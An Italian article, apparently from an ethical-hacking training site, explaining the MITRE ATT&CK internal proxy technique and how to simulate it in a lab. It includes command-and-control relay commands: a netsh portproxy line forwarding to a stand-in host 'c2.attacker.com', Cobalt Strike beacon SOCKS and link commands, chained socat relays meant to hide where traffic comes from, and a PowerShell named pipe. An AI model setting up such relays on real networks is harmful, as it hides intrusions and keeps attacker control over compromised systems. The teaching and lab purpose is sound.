Proxy Interni: Internal Proxy (T1090.001)
Gli attaccanti utilizzano proxy interni per orchestrare il traffico command and control tra sistemi compromessi all'interno della stessa rete. Questa tecnica permette di ridurre le connessioni dirette verso l'esterno e di mimetizzare le comunicazioni malevole nel normale traffico aziendale.
La tecnica si manifesta nella fase TA0011 (Command and Control) della kill chain, quando l'avversario cerca di mantenere il controllo sui sistemi compromessi. Tool come HTRAN, ZXProxy e ZXPortMap sono comunemente impiegati per reindirizzare il traffico attraverso proxy o port forwarding.
L'implementazione di proxy interni offre diversi vantaggi tattici agli attaccanti. Permette di limitare i punti di uscita verso internet, garantisce resilienza in caso di perdita di connettività e sfrutta protocolli fidati come SMB per passare inosservati. 9 gruppi APT documentati utilizzano attivamente questa tecnica, supportata da 20 diversi malware e osservata in 3 campagne di alto profilo.
Per simulare un proxy interno in laboratorio, inizia configurando un sistema compromesso come relay point. Su Windows, il comando più immediato è netsh portproxy:
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=443 connectaddress=c2.attacker.com
Questo comando trasforma la macchina in un proxy che ascolta sulla porta 8080 e inoltra il traffico verso il server C2. Volt Typhoon ha utilizzato esattamente questa tecnica durante le loro operazioni.
Per scenari più complessi, Cobalt Strike offre funzionalità peer-to-peer native. Configura un beacon SMB sulla macchina vittima principale, poi collega altri sistemi compromessi:
beacon> socks 1080
beacon> link target-host \\target\pipe\msagent_12
Su Linux, socat rappresenta lo strumento più versatile per creare tunnel interni:
socat TCP4-LISTEN:8888,fork TCP4:internal-target:22
Questo comando crea un relay sulla porta 8888 che inoltra tutto il traffico verso il servizio SSH di un host interno. Per simulare comportamenti APT più sofisticati, concatena multiple istanze di socat su diversi host compromessi, creando una catena di proxy che oscura l'origine del traffico.
Gli attaccanti spesso utilizzano named pipes su Windows per comunicazioni host-to-host. Puoi replicare questo comportamento con PowerShell creando un server pipe su una macchina:
$pipeName = "evilpipe"
$pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipeName, [System.IO.Pipes.PipeDirection]::InOut)
E connettendoti da un altro sistema compromesso nella stessa rete. Questa tecnica è stata osservata in malware come MiniDuke e Stuxnet.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo